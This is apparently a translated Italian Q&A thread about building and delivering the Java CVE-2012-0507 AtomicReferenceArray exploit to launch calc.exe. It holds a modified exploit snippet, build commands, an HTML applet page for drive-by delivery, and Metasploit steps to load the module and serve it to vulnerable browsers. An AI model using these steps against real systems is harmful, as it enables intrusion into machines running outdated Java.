Come compilare java_atomicreferencearray (CVE-2012-0507) exploit per eseguire calc.exe sul sistema?

7

Mi sono interessato agli exploit Java e mi sono imbattuto in questo:

link

È un codice sorgente per l'exploit di Java, quindi anche se la mia conoscenza di Java è limitata (ho imparato alcuni in alta scuola), quindi ho cercato di capire cosa sta succedendo in background.

Il file link ha questo codice:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        File file = new File("d:/temp/1.php");
        String cmd = "php " + file.getAbsolutePath();
        System.out.println(Help.doWork(_tmp, cmd));
    }

che presumo sia il codice da eseguire con questo exploit, quindi l'ho modificato in:

public static void doExploit() throws Exception {
        Help _tmp = getHelp();
        String cmd = "cmd /c start calc.exe";
        System.out.println(Help.doWork(_tmp, cmd));
    }

Per avviare calc.exe con successo con explotation, e compilato con:

javac -d bin redcreen/*.java
cd bin
jar cvf ../appplet2.jar redcreen/*.class

e inserito nell'applet:

<!DOCTYPE html>
<html>
  <head>
    <title>Exploit</title>
  </head>
  <body>
    <applet archive="applet2.jar" code="redcreen.Exploit.class" width=1 height=1></applet>
  </body>
</html>

Ma nessuna fortuna con l'esecuzione di calc.exe su una macchina Java vulnerabile. L'esecuzione di Metasploit funziona. Qualsiasi consiglio o suggerimento è benvenuto.

    
posta Daniel 23.03.2016 - 14:40
fonte

3 risposte

1

Il mio java probabilmente non è migliore del tuo, ma a quanto ho capito la vulnerabilità, si basa sull'esprimere il sandbox per eseguire il codice.

Credo che quando hai sostituito il codice php con il tuo semplice comando, hai rotto la parte del processo per uscire dalla sandbox.

Ecco un esame abbastanza dettagliato del tuo problema:   link

Vai a pagina 7 per una spiegazione dettagliata di come funziona l'exploit e l'autore passa attraverso il codice e la sua esecuzione.

    
risposta data 28.03.2016 - 18:09
fonte
0

Come commentato @ paj28, Exploit non è un'applet. Invece di eseguire come un'applet, esegui semplicemente (dato che lo hai già compilato):

cd bin
java Exploit
    
risposta data 01.04.2016 - 21:55
fonte
0

Perché non caricare semplicemente l'exploit java_atomicreferencearray utilizzando il metasploit-framework?

msfconsole
use .*java_atomicreferencearray <tab>
info
show missing
set <stuff>
options
check
exploit -j

Quindi basta puntare il browser vulnerabile abilitato per JRE sull'URL listener che fornisce.

    
risposta data 31.05.2016 - 23:42
fonte

Leggi altre domande sui tag